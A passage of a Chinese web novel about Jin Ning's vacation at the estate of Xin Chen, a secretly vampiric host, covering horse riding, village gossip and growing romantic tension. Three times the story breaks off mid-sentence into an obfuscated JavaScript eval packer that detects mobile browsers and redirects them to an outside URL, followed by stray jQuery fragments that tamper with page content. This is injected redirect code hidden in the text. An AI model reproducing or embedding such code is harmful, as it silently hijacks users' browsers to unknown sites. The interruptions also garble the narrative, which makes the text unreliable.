他身心疲惫地靠在沙发上，突然死去的记忆攻击了他的大脑，下午他在这昏过去，是辛宸抱他回屋的吧！ 金宁捂脸，难怪他梦到辛宸。 他之前也因为和别人肢体接触过多，而梦到过有肢体接触的人。 比如之前滑雪遇到的那位海王，白天抱着滑完雪之后，他受凉了，快速发展为重感冒，夜里就开始发热。 梦里又梦到了几人一起滑雪。 说实话，他并不在乎面罩下的人是谁。 只是单纯地想将快乐的事情，在梦中重复演绎。 或许可以从中得到满足，那么在生活里，他就不会再感觉到孤单。 金宁靠在沙发上，说服自己，这次的梦和以往的没有什么不同。 都是在弥补内心的缺失。 是大脑，在自己哄自己。 “在想什么？”辛宸拿了纸巾擦手。 “这附近，有湖吗？”金宁想看看，这里是不是跟梦里一样。 “嗯，有湖。山伯他们今天就是去那个湖边钓的鱼，你喜欢钓鱼吗？” 金宁点头，“喜欢，改天去钓鱼吧！远吗？” “步行大概半小时，如果你不想走，有山地车，有小路可以骑车。”辛宸说。 “好。”金宁对这些巧合已经不再惊讶了。 他有段时间经常骑车，甚至加入了车队，但是体力实在跟不上，于是变成了兴趣爱好。 “那边可以划船。”辛宸说道。 17. 度假 金宁愣了一下，“是小船吗？” “木船和木筏都有，”辛宸敛眸，“那个湖很大，可以划到湖心去钓鱼。” 金宁点头。 其实他不是第一次梦到那个湖。 上次梦到的时候，他和那个假想朋友一起，在湖边打水漂，当时好像提了一嘴，说下次我们一起划船吧！ 小男孩说，他爸爸是个科学家，一定会造船。 但是后来他们再也没见过了。 —— 金宁吃得饱饱的，回房间后，迷迷糊糊就睡着了，一觉醒来天已经大亮。 他爬起来后，走到黎逢房间门口准备开始装瘸，但是白瞎了他的演技，屋子里一个人都没有。 摸到楼下时，只有辛宸在。 高大的人站在餐桌边，正往桌上放早餐，香味溢满了客厅。 白瓷碟子里，装着软嫩焦黄的奶香松饼，搭配着洒了糖粉的草莓和蓝莓。 旁边放着一杯果绿色的奶昔。 他来的时间，刚刚好。 辛宸:“睡得好吗？今天看起来脸色好多了。” “睡得挺好的，他们人呢？”金宁问道。 “山伯和幽叔去钓鱼了，你的两个朋友借了山地车，说出去转转。”辛宸招呼他吃早饭。 “好吧。”金宁失落，嘀咕道:“怎么都不叫我一声。” 辛宸:“你的脚受伤了，他们想让你好好休息。” 实际上两个年轻朋友还是不放心金宁，嘱咐两位老人照看一下，结果两位老人点头答应了，却在辛宸来了之后，把任务下放给了辛宸，直接就出门钓鱼了。 金宁一想也是，谁叫他有伤在身呢？他很快被桌上的食物吸引了注意，辛宸这是不仅学了中餐，还学了西餐。 还有什么他不会的？这放到婚恋市场，绝对抢手。 “还有三文鱼，稍等。”说着辛宸就转身离开了桌边。 “谢谢。”金宁正在喝那杯绿色的果汁，香蕉牛油果味的，他细品了一下，单独一种要么太甜要么太腻，搭配在一起就舒服多了。 正品着，看到辛宸的穿着差点喷出来。 辛宸上身是不显眼的黑衬衫，但是裤子却是米白色半胶马裤，紧紧包裹着大长腿，两条笔直修长的小腿都藏进了黑色长靴里，皮面是哑光的，低调又高级。 宽肩窄胯的背影已经足以杀死他，更何况辛宸端着装有三文鱼的碟子又回来了。 正面更是……裤子是否太紧了？正中间褶皱堆叠牵扯着，过于扎眼了。 这是什么制服控xp照进现实？ 金宁低头往嘴里塞松饼。 辛宸把三文鱼往他面前推了推，看着突然自闭的人，以为金宁还在因为朋友没说一声就单独行动的事不开心。 在他对面坐下后柔声道:“今天阴天，我可以陪你出去骑马。” “嗯。” 金宁显得兴致缺缺。 “也可以骑马去湖边。”辛宸提议。 金宁想都没想，拒绝道:“下次吧。” 他的脚伤，还得装。 而且，两个人单独去的话，穿越树林，一路无人，又会产生奇怪的情绪吧。 “好，那就下次吧。”辛宸没有坚持，等着金宁吃完早餐。 这次金宁说自己洗碗，辛宸没拒绝。 辛宸:“我先去把嘟嘟牵出来让他先跑一会儿。” “好。”金宁整理桌面时，也整理了一下自己的情绪。 最后得出结论，既然是出来玩的，就把辛宸当做是旅途中遇到的某个热情的旅伴。 没什么好纠结的。 他换了衣服下楼，在看到辛宸牵着马朝他走来时，刚在心里堆砌好的高墙，又全部坍塌了。 帅得过分了！ 高大的帅哥和更加高大的黑马＝是新来的王子吗？我怎么没见过？ 帅到他忘记装瘸。 “好帅，这个马，嘟嘟。”金宁指了指马，往外蹦字。 辛宸扯了扯嘴角，早知道养别的品种了。 弗里兰斯马号称世界上最帅的马，即使叫“嘟嘟”这么傻气的名字，也削弱不了他的气场。 在金宁愣神时，辛宸把手里的马术头盔戴到了他的头上。 圆圆的纯黑头盔压上半长的头发，扣上带子后，显得金宁的脸更小了。 金宁垂眸，又被照顾了。 “会骑马吗？”辛宸问道，他猜想应该是会的，但是还是要确认一下。 “会的。”金宁抬手摸了摸嘟嘟的鬃毛，先建立一下感情，也转移一下注意力。 少看人，多看马。 这满头黑亮的大波浪，这卡姿兰大眼睛，睫毛扑闪着能把人扇着凉，真是英俊潇洒。 但是，为什么这么高？ 金宁甚至没到马的肩胛骨的高度，恐高了。 辛宸说道:“嘟嘟肩高有186，对于你来说太高了。” 金宁:你什么意思？！ 辛宸:“我扶你上去？先慢慢来。” 金宁:不是！瞧不起人是不是！ 退堂鼓变成升堂鼓，金宁在脑子里预演了一下，手抓缰绳，飞身上马。 然后面对现实，拽着马鞍乖乖够脚蹬。 在马术训练场地上马时，一般都有凳子可以踩，而且那边的马没有这么高。 此刻，他踩住脚蹬的时候，两条腿几乎劈叉了。 “我扶你。”辛宸说。 “我试一下。”金宁想着刚刚跟人家说会骑，现在马都上不去，也太丢人了。 辛宸忍笑，“你右脚受伤了，蹦不上去吧？” 金宁原地蹦跶的右脚停下了动作。 这确实是个好借口。 金宁:“嗯，好像是使不上力，你帮我一下？” “好。”辛宸摸了摸嘟嘟的脖子，马也等着急了。 嘟嘟:不骑的话，我先下班了。 辛宸想着拖住金宁的小腿，可以把人送上去，这也是很常规的助力上马动作。 但是金宁的左脚还在脚蹬里，没有拿下来的意思。 所以他只能用小臂反向撑住了金宁的大腿后侧，使劲往上托了一下。 “你用力上去。”辛宸提醒他。 金宁不用提醒，再不用力他都要坐到人家胳膊上了，于是一鼓作气，收紧核心翻身上马。 上去后，还在被地心引力扯着往下坠，他顾涌顾涌着，努力保持平衡。 终于骑稳后，趴在马背上喘气。 他自己先忍不住笑了。 果然梦里的他无所不能，能像古代侠客一样翻身上马，也能长腿一甩跨过马头，丝滑下马。 现在，他发愁了，下马的时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521224|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个高度，他会不会摔断腿啊？ “坐好了吗？”辛宸提醒他。 金宁身体坐直，抓紧马鞍后有点害怕了，这匹马对于他来说，确实太高了。 就像他骑山地车，180的身高，匹配的是轮径29寸L号，再大的尺寸他驾驭不了。 辛宸手里牵着缰绳，仰着脖子看他，很轻易看穿了他的紧张，“我陪你们走一会儿。” 金宁立刻安心多了，“好的。” “不要怕，嘟嘟脾气很温顺，”辛宸摸了摸马脖子，顺毛，在嘟嘟低头时，说起了悄悄话:“乖乖的，下午给你吃苹果和糖浆。” 语气温柔，堪称诱哄。 辛宸的声音不大，但是金宁离得近，都听到了。 这……哄人和哄马是一个套路啊。 昨天夜里，辛宸给他投喂了苹果，早晨的松饼也搭配了枫糖浆。 除了没跟自己说“乖乖的”。 这怎么还区别对待呢？ 金宁被眼前和谐的一幕舒缓了情绪，不知不觉就开始微笑了。 而在辛宸说完后，嘟嘟打了个响鼻，似乎是被哄好了，开始迈步往前走。 金宁抓着马鞍，一会儿看看树林一会儿看看辛宸，习惯了嘟嘟的迈步节奏，金宁又觉得自己可以了。 金宁伸手想问辛宸要缰绳，“我自己试一下……” 辛宸也酝酿了半天抬眸提议道：“我带你骑几圈？” 两人同时出声，同时愣住，消化了一下对方的话，金宁抿唇，辛宸皱眉。 辛宸将缰绳往金宁手里递：“你慢一点。” 金宁：“好啊。” 金宁没有接缰绳，只是在辛宸看过来时，默默转移开了视线，同时，把左脚从脚蹬里拿了出来，方便辛宸上马。 他已经快速说服了自己，只是因为想了解一下马的调性，再熟悉一下嘟嘟的节奏，由马的主人亲自带着骑，会快速熟悉起来。 辛宸立刻明白过来，虽然两人话赶话，默契又错乱。 他牵着缰绳的手拽在了马鞍前侧，为了控制住方向不撞到人，所以踩了脚蹬，翻身上马一气呵成。 金宁感觉到后背被轻轻撞了一下，耳后传来低沉的嗓音，“扶好，坐稳。” 辛宸手伸到前面轻轻拽了一下绳子，想着策马奔腾，但是嘟嘟没给面子，原地踱步。 他尴尬了一瞬，对金宁解释道：“嘟嘟可能是不太习惯，我平常骑马不用马鞍。” 金宁笑道：“那我哄哄他。” 金宁轻轻抓着马脊背上的鬃毛往前挪了挪屁股，俯身靠近嘟嘟的脖子小小声说道：“嘟嘟乖啊，你看看你主人的大鞭子，不听话的话，待会儿就要抽小屁屁了～” 嘟嘟:…… 糟糕的家伙！ 辛宸：…… 这该死的听力！ 眼前是青年俯身往前的背影，白色衬衫塞进了休闲西裤里，因为俯身绷紧了。 辛宸看了看手里的“大鞭子”，耳边是金宁调皮的声音说着“小屁屁”，他背后没长眼睛，自然看不到嘟嘟的大屁股…… 手里的障碍马鞭，突然不对劲起来。 这样长长短短的马鞭，在马厩的储物室里有很多根，上次辛教授还顺了一根皮革的走，说这是玩字母游戏的道具。 当时辛宸不以为意，现在不能直视了。 18. 度假 如果说之前他不知道什么是“字母游戏”，现在他知道了…… 原生家庭的创伤又多了一条。 辛宸陷入黑洞一样的沉默中，前面的人转头笑盈盈地看他。 不知道是不是金宁的“威胁”起了作用，嘟嘟重新开始踱步，然后越走越快。 金宁赶紧坐直扶稳。 在辛宸的手臂圈过来拽紧缰绳时，他赶紧夹紧了手臂。 虽然嘟嘟是一匹体型高大的马，但是两个成年男性的占地面积也不小。 金宁努力缩小自己的存在感，但是适得其反，他约缩，被圈住时，就越显得小鸟依人。 直到整个人都被包裹住。 他的后背贴着辛宸的前胸，马跑起来时，脊背流线型的曲线滚动着，人也随着惯性颠簸。 金宁是正儿八经学过骑马的，学过这种在马背上“推浪”的技巧，就是骑马时人要随着马背拱起的弧度自然地往前送胯，屁股画圈。 他画的很好，辛宸画的也不赖。 那只是刚开始的时候，很快金宁就紧张到忘记了那个画圈的节奏，直到完全混乱，屁股和马背相撞，紧接着又被辛宸撞了几下。 他在自闭的边缘想起了之前马术教练说的故事—— 有个学员屁股上长了个大痘痘，在练习完之后，裤子上全是血。 教练事后开起玩笑:不知道的还以为这是汗血宝马呢！ 现在金宁完全笑不出来了。 金宁的学习能力很强，而且因为有骑山地车的经验，在学骑马的初期，他很有先见之明的穿了带垫子的裤子，所以最多也只是大腿和屁股有点疼。 但是他现在没有任何保护措施，屁股要开花了。 更何况背后还有个人，非蓄意，但是实实在在地碰到他。 他整个后背都麻了，一会儿功夫，出了一身的汗。 “停一下！”金宁紧急叫停，在辛宸拽了一下缰绳，嘟嘟自动刹车后，金宁举手，“缰绳给我拿着行吗？” 金宁想着，自己牵着缰绳，第一不用继续搂搂抱抱，第二，他可以自己控制节奏，可慢可快，可以拯救屁股。 辛宸没意见，把缰绳交到金宁手里，顺便也把马鞭递了过去。 辛宸：“大鞭子给你。” 金宁一愣，尴尬了一瞬后找补道：“放心，我就是开个玩笑，我一般用马鞭，都是打我自己的……” 辛宸呼吸一滞，这又是在说什么。 “打小腿后侧，马对声音非常敏感。”金宁找补。 有时候手脑同步是个很恐怖的技能。 他说话的同时，手握着马鞭就往后敲了一下。 如果身后没人的话，鞭子应该是刚好打在他自己的小腿后侧的。 但是，身后有人。 这一下直接敲在了辛宸的小腿上，力气还不小，鞭子尾部梯形的皮革片和薄薄的皮靴碰触后，发出啪的一声脆响。 辛宸：“……” 不疼，但是哪里怪怪的。 金宁红温了，人怎么能捅出这么大的篓子。 他清了清嗓子，小声道：“那个，还是骑马吧，你扶稳了。” 辛宸点头，垂眸看着金宁，马术头盔下的耳朵都红了。 辛宸压下笑意，“如果嘟嘟不听话乱跑的话，你可以轻轻扫一下他的脖子，打屁股也可以。” 金宁满脑子混乱，嘴巴先于大脑说道：“算了吧，我怕打到你。” 辛宸愣了一下，在金宁咬牙自闭的时候，缓缓开口道：“没关系。” 金宁想扔鞭跳马。 嘟嘟:我达达的马蹄，是个美丽的错误…… 嘟嘟打着响鼻催促金宁发号指令，再聊下去他就要被压死了。 “你扶稳。”金宁提醒辛宸。 “嗯。” 但是，扶哪里？ 辛宸只找到了两个可以扶住的位置，一个是最前面的扶手，另一个就是金宁的腰了。 他想了想还是伸手往前拽住了扶手。 金宁再次被圈住，愣了一下，但是他已经拉了缰绳，嘟嘟得到了往前奔跑的指令。 刚才的鞭子响声确实起到了震慑的作用。 马跑得飞快。 迎面吹来的风更大了，脸上的燥热直接被吹得凉嗖嗖的。 嘟嘟的步幅很大，遇到不平坦的路面跨得又高又远。 野性难驯，但是野性很能感染人。 额前的头发被吹散开，金宁呼吸着旷野的风，身心愉悦，脸上不禁露出笑容。 专注在骑马这件事情上后，他很快就把那些尴尬都抛之脑后。 —— 另一边，两个年轻人骑着山地车，凭借超绝方位感，摸到了姜医生所在的村子。 黎逢全身疼，但是又不放心徐长夏一个人跑出来，陪着骑了将近一小时车，人都要散架了。 徐长夏一身轻松地下车，单手推着车子进了村。 村口的大婶显然是认出了他，先是一笑，似乎觉得不合适，立刻又收敛了笑容。 “大姐！”徐长夏快速推着车过去，从背包里拽了一包东西出来，“诺，我这次出来旅游，也没带什么东西，迪拜巧克力，尝尝。” 黎逢插着腰站在一旁等着，倒要看看他想干啥。 “天热了，再不吃就化了，我带的多，”徐长夏的脸上挂着笑，“我就是打听个事，这山里，真的有黑熊吗？” 黎逢差点笑出声，还在怕呢！ 大婶听他是有事要问，也就没客气了，接过后回答道：“以前是有的，好多年没看到过了。” 徐长夏点头，心情放松了一点。 “对了，姜医生在家吗？”徐长夏问。 “在的在的，”大婶眼神往竹楼飘了一下，声音降低了一些，小声说道：“老神医昨晚割腕了，还好那个小伙子半夜来把人救了。” “还有这事啊！”徐长夏也跟着压低声音。 不应该啊，他昨晚刚见过姜医生啊，不过当时姜医生手腕上是缠着绷带的。 难道……是屋主来找人时，刚好遇到姜医生自杀？ 徐长夏这一推理，捂住嘴巴。 “别说是我说的哈，”大婶笑笑，“你们喝不喝羊奶啊？” 徐长夏：“啥？” 大婶一把夺过他的水杯，“我给你挤一瓶带着路上喝啊。” “诶不用不用，”徐长夏说着已经来不及了，大婶把他的水倒了，只能无奈道:“谢谢了啊，大姐。” 黎逢默默把水杯藏进了背包里。 徐长夏瞪了他一眼，又跑去羊圈，皱着鼻子，问道：“姐，你说的那个小伙子，他和他家人一直住山里吗？” 大婶在那挤奶，“是啊，之前他爸还来我们村里买了羊，说是给娃喝羊奶呢～有营养。” 大婶忙着安利羊奶。 “他妈妈呢？”徐长夏顺口问道。 “没妈。”大婶把装好羊奶的瓶子在围裙上擦了一下，递给徐长夏，“凶神恶煞的，还怪热心呢！” 大婶又冲着竹楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521225|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挤眼睛。 徐长夏领会她又在说姜医生疑似割腕的事情，“可不是嘛！大姐，我去找姜医生了啊，谢谢了。” 徐长夏招招手赶紧走了，黎逢推车跟上。 “你不是来打听消息的？还真是来找姜医生的？”黎逢笑着问。 徐长夏已经快速把车停在竹楼下，“嗯，遇到真神医了，我要买点膏药给我妈带回去，这算不算土特产啊，你顺便也让姜医生再给你看看腰，男人啊，这个腰还是挺重要的。” “我腰没事。” 徐长夏活力满满，三两步奔上台阶，看着还在楼下的人，笑道：“你慢吞吞的样子，不像没事。” 两人见到姜医生，表明了意图后，姜医生收了钱，给徐长夏配膏药。 徐长夏趴在柜台边，无聊地抠眉毛，“姜医生，有没有什么安神的药啊？” 姜医生看了他一眼，“什么症状？” “夜里睡不着，”徐长夏皱鼻子，想了一下还是老实交代，“做了一个超级恐怖的梦，然后整夜睡不着，总觉得脖子发凉。” “睡着了，三分钟惊醒一次，还盗汗。”黎逢补充道，“感觉得吃安眠药才行。” 昨晚徐长夏跟他挤了一张床，隔三分钟就要惊醒踹他一脚，搞得他也一夜没睡好。 姜医生望闻问切了一番，身体完全没有问题，那就是精神有问题了。 “是到山里来才这样的吗？”姜医生问道。 徐长夏点头，“是不是水土不服啊？” “你是不是爱乱说话？”姜医生问。 黎逢在一旁点头。 姜医生大概知道了，这跟梦有关的，多数和辛宸脱不了关系。 姜医生叹气道:“管住嘴巴，少得罪人，旅游结束就赶紧回家。” “这跟我做恐怖的梦有什么关系？”徐长夏不解，他这性格也不是这一两天了。 姜医生还是给他开了安神的茶饮，“你听我的就是了，过几天就好了。” 徐长夏无奈，视线落在了姜医生的手腕上。 没有纱布啊。 他抓住姜医生的手翻过来。 “你干嘛？”姜医生愣神。 徐长夏仔细看了看，因为在配药，姜医生卷着袖子，胳膊肘内侧和手腕上，分布着奇怪的红点，有几个明显淤青了。 这显然不是割腕啊。 “为什么村民说你割腕了啊？”徐长夏直接问道，立刻就忘记了管住嘴的医嘱。 “啥？”姜医生瞪大了眼睛。 外面居然是这么传的，难怪昨天回来时，有人说让他想开一点。 不过他一想就立刻明白了，昨天在辛宸的别墅里醒来时，他胳膊上的针管都是被暴力拔出的，两个袖管全是血。 他还差点因为失血过多晕过去。 辛宸是真不在乎他的死活，也不在乎村民背后怎么议论。 一个真正意义上的、天生冷血的人，却在那个青年面前努力伪装成善类。 姜医生摇摇头，把药打包好递给徐长夏，再次嘱咐：“少打听，不要多管闲事，带着你的朋友早点回家。” 徐长夏见他神情严肃，也不好再问了，只能带着满肚子疑惑离开。 两人返程时，金宁正一个人在骑马。 辛宸站在一旁看着。 是他自己提出要下马的，贴得太近了，所有的气味都具象化了，直接冲着他的脸过来，将他包围。 金宁太兴奋，字面意义的血液沸腾。 辛宸差点溺亡。 19.度假 金宁一不小心就骑了很久，冲到树林边上时，勒停了马。 嘟嘟已经很听话了。 他摸着嘟嘟的鬃毛，回头看了一眼还在原地等待的辛宸，他们之间的直线距离超过了200米。 金宁趴在嘟嘟的脖子上，小声说道：“我跟你说件事啊。” 嘟嘟抬了抬前腿，脖子也点了一下，仿佛能听懂一样。 金宁笑笑，继续说道：“我以前有个小马玩偶叫嘟嘟，跟你的名字一样，我小时候要么生病住院，要么生病在家，嘟嘟陪了我好久好久……” “后来，我把嘟嘟送给了别人。” 金宁沉默了一会儿，当时医生说他好起来了，他觉得嘟嘟像个幸运符，所以希望嘟嘟能让同病房的孩子也好起来。 “再后来，我做了一个梦，梦里有一个小男孩。我跟小男孩说了嘟嘟的事情，就像现在我跟你说的一样。他说，等他长大也要养一匹马，一匹真正的马，送给我。” 嘟嘟歪头蹭了蹭金宁的脸。 金宁的手落在嘟嘟的头上，拍了拍，“下次，如果我见到他，我也会跟他说你的事情，说你是我见过最帅的马。” 嘟嘟应景地打了个响鼻，很得意的样子。 金宁笑笑，“回去吧。” …… 辛宸等着一人一马跑回身侧，接过金宁手里的缰绳。 “不骑了吗？”辛宸问道。 “嗯。”金宁点头，想着要怎么下马，他试着抬起屁股，大腿都在抖。 “嘟嘟太高了，你侧身过来，我扶你下来。” “谢谢。”金宁实在没劲了，而且上马的时候就想到这个结果了。 他抬起右腿跨过马头，侧坐着朝辛宸伸手。 只需要扶一下对方的肩膀，他就可以蹦下去了。 嘟嘟一扭身：没见过下车这么慢的，走你！ “哎！”金宁往前倒，扑进了辛宸怀里，搂住了他的脖子。 好险！ 他垫着脚尖想碰触地面，却够不到。 后腰被辛宸的手臂固定着，一点下坠的趋势都没有。 金宁脸上发烫。 衬衫领口往后，风吹进来凉嗖嗖的。 好像又不止是风，风没有那么柔软，也没有那么真实。 好像是辛宸的脸和嘴唇，很凉。 辛宸愣住了，快速接住人后胳膊收得很紧，好香的肉直接送到了嘴边。 汗津津的，咸涩的，却盖不住温热的味道。 他微微挪动了一下位置，鼻梁顶在了金宁的耳后侧。 脖子上的脉搏跳动得快速有力，它的主人，似乎很紧张。 他只要微微张开嘴巴，尖牙就会顺着黏膜划出，戳进鲜活跳动的位置。 辛宸舔了舔牙齿，舌尖被划破了，意识也在轻微的刺痛中瞬间回笼。 “好了，放我下来吧。”金宁拍了拍辛宸的后背。 辛宸木然松开手，金宁落在了地上。 脚踩到实处时，金宁快速往后退了一步，抬手摸了摸刚刚被碰触到的脖子后侧。 他的脸色尴尬，皱着眉头，不知道该说点什么才能缓解现在的氛围。 或者……什么都不说。 本来就不是故意的。 他坦然抬头，却意外地又看到了辛宸眼睛里奇怪的红色。 这次更明显。 这次他没有那么害怕，只是觉得奇怪。 金宁犹豫着问道：“你的眼睛……” 辛宸敛眸转身，“进东西了，我先回去了。” “马……” 金宁没有说完后面的话，因为辛宸看起来非常着急，本身腿就长，几步就走出好远了。 那背影看着，让人担心。 金宁牵住缰绳，默默跟上，还好辛宸去的方向非常明显，是往马厩去的。 马厩在辛宸那栋别墅的背面，在主别墅是看不到马厩的。 金宁牵着马，速度要慢很多，而且下马后屁股和大腿都很疼。 现在连装都不用装了，完全不能正常走路。 到了马厩门口时，嘟嘟就自觉地去了自己的隔间里，喝水吃草。 金宁看到了尽头的储藏室，大概是辛宸走得太急，门还开着。 他回头看了看马厩的大门，这应该不算擅自闯入吧。 而且他是真的有点担心辛宸。 “辛宸？”金宁探头往里看了一眼，储藏室里没有人。 储藏室并不大，一眼能看完，墙上挂着各种各样的物品，光线很暗，有股皮革的味道。 金宁走到工具台前，面前的墙面上挂了十几条马鞭，长的，短的各式各样。 左侧的墙上，则是各种马鞍。 右边是各种颜色、材质的缰绳和配套的脚蹬。 但是马厩就一匹马啊…… 金宁头皮麻麻的，辛宸还说他平常骑马不用马鞍，那他为什么要配这么多？ 他把手里那根放到了桌子上。 辛宸明明就了马厩，人去了哪里？ 在树林里感觉到的不安又一次袭上心头。 他转身看向门口，眼睛适应了昏暗之后，他看到了对面墙上一处更深的颜色，是个铁门。 看方位的话，应该是连着辛宸那栋别墅的外墙的。 辛宸难道是从这里回家了吗？ 金宁并不是非要探索不可。 看那些恐怖电影时，他也曾感叹过，主角团如果没有好奇心，直接离开鬼屋，大概率能活下来吧。 但是他现在莫名希望，打开这扇门，是辛宸家的客厅。 而不是什么可怕的地下室。 金宁走到门边，找门把手，很快看到了一处突起，推开后发现是密码锁。 他的手抵在门上，整个空间只有马厩里嘟嘟吃草的声音。 辛宸，你到底在搞什么啊？ —— 黑暗的地下室中，辛宸站在冷藏柜前面，眼睛变成了酒红色。 听着储物室里传来的声响，他灌了三包血液，差点吐出来。 强忍着咽下后，除了胃部不适外，没有一丝满足的感觉。 在金宁来了之后，他的厌食症又发作了。 7岁那年第一次发作时，他开始厌恶人类食物，现在，他厌恶冰冷的血液。 如果金宁愿意成为他的伴侣，他就可以…… 辛宸制止自己被食欲支配的阴暗想法，他不会不尊重对方的意愿，将对方变成自己的“食物”。 他不会，也不可以伤害金宁。 —— 金宁回了别墅。 整个别墅空空荡荡，只剩下了他一个人。 他走到房间门口，突然想到昨晚和徐长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529793|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏说好的换房间。 他给黎逢发信息问他们什么时候回来，但是没得到回复。 把两个房间的被套枕套都拆了，塞进了楼下的洗衣机，又回房间把毯子拿出来晒在了楼梯扶手上。 忙完之后，他有点饿了。 去厨房给自己煮了面条，站在厨房窗边看着外面，金宁终于平静下来。 多数时候，他都是一个人找个民宿住下，不和任何人交流，最多也就是和周围的人点头客套两句。 那时候他感觉非常舒服，宁静平和。 这次，人多了，反而孤单了。 他看了一眼厨房门口，居然有点期待有人突然闯入，问他是不是饿了。 …… 他吃完饭时，徐长夏和黎逢回来了。 徐长夏：“我们回来啦，还有剩饭吗？” 金宁摇头。 “就你一个人吗？”黎逢已经彻底散架了，很想在地板上躺下，但是更重要的事情是赶紧补水，他的水有一大半都被徐长夏喝了，他跑去厨房咕咚咕咚灌了两杯，才问道：“山伯他们呢？你今天感觉好一点了吗？” “好多了，”金宁跟去厨房，看到徐长夏正往锅里倒什么东西，“煮什么？” 徐长夏倒完后开火，“羊奶啊，村里的大婶给的。” 黎逢转身，把运动相机拿下来，对准徐长夏，记录徐长夏的沙雕生活。 黎逢：“你还真喝啊？” “嗯，煮一下，不然怕染那个什么布病。” 金宁问道：“你们去那个村里了？” 徐长夏点头，“嗯，去了一趟，找姜医生买了点膏药，顺便打听了一点事情。” 金宁：“什么事啊？” 徐长夏一股脑把从大婶那听来的事情全都说了出来，包括大黑熊伤人事件，辛宸没有妈妈，以及姜医生被造谣割腕，但是其实没有。 最后他收尾道：“哇，听大婶说这山里没有黑熊，我安心多了。” 金宁却只听到了辛宸没有妈妈这件事。 突然又很在意。 “屋主呢？”徐长夏心虚地往门口看了一眼，一顿输出后，突然想到姜医生让他少说话。 已经说了，那就下次再少说吧！ “不知道去哪里了。”金宁也往对面看了一眼，那边安安静静的，像个空楼。 “我好像看到冰箱有牛排？”徐长夏说着打开冷柜抽屉，“我要吃两块，包在食宿里的对吧！” 黎逢点头。 金宁接过牛排，“我来吧，你们俩先去洗澡换衣服吧，怎么都一头一脸的汗？” 都有点熏人了。 “这都怪徐长夏，”黎逢说着就开始笑起来，“他跟疯了一样，说感觉树林子好恐怖，逃命似地冲回来，我差点没追上。” “你是真没追上，我等了你多少次！”徐长夏对害怕树林这件事避而不提，“我先去洗澡，麻烦你了，金小宁。” “你放着就行，等下我来。”黎逢也跟着走了。 金宁笑笑，这两人倒是熟悉得挺快的，徐长夏那副被吓破胆的样子，可能洗澡都得拖个人。 黎逢受苦了！ 金宁给黎逢也煎了两块牛排，顺手把奶锅里的羊奶装了出来。 听到身后的动静时，他笑道：“这么快？” 一转身，差点撞进辛宸怀里。 20.度假 辛宸没做声。 金宁被吓了一跳，往旁边挪了一点，避开了人。 你去哪里了？你怎么突然消失了？那个门，通向哪里？ 不合适，像是打探私事，他们虽然熟，但是……不熟。 金宁不冷不热地问道:“忙完了？” “嗯。”辛宸退后了一步，他好像又吓到金宁了。 金宁:“眼睛好了吗？” 辛宸沉默了。眼睛，他现在还没办法解释。 “眼睛还是有点疼。” 金宁立刻担心起来，“进东西了？弄出来了没？” “没有。”辛宸揉了揉眼睛。 金宁拍了一下他的手，“不要乱揉，我看看。” 辛宸微微俯身，刚刚揉的那几下，他是使了劲的，所以眼睑周围，就连眼白都红了一片。 金宁很认真地想帮他看看眼睛里到底有什么，所以抬手去扒他的眼皮。 垫着脚的人背靠着烟台，皱着眉头，小声嘀咕着:“看不到东西啊，你感觉哪里有异物感？” 金宁没敢用力。 而且这人俯视着自己，一只手还撑在了灶台边上，又形成了一个包围禁锢的姿势。 辛宸连眼睛都没眨一下，根本不像眼睛进了东西。 像是，故意亲近，对视。 金宁心脏跳得厉害，垂眸不敢看了， “眼角疼。”辛宸说着要抬手。 金宁眉头又是一皱，把他的手扒拉开，够到他的脖子，把人往下拉了一点，“你低一点，我看不清楚。” 金宁全然忘记了内心的怀疑和不安。 “嗯。”辛宸又往下了一些。 两人的距离更近了。 金宁:“你闭上眼睛，朝下看，眼泪可能会把异物冲出来。” 辛宸听话地闭上眼睛，虽然流不出一点眼泪。 金宁安安静静地等着。 而当辛宸闭上眼睛，对视的目光被切断了，金宁又清醒了。 瞳仁发红和眼睑发红完全是两码事。 他仔细看了，辛宸的瞳仁很黑，如果不是迎着光，几乎分辨不清瞳孔的边界。 纯黑的眼睛，既会显得澄澈天真，又自然地带着森然的冷意。 对视时既让人感觉被深情凝视，又会让人心生恐惧。 而闭上眼睛的人，一副人畜无害的样子，倒是很符合他的年纪。 “woc！打扰了！” “啊好疼！” 门口传来惊呼和撞击声。 金宁回神，他被辛宸完全挡住了视线，探头出来才看到门口两个低着头忙得团团转的身影。 “你们终于来了，来吃饭吧！”金宁赶紧推开辛宸，从包围圈中移出来，松了一口气，招呼两位好友，“牛排好了，还有你的羊奶，快喝吧，冷了很膻。” 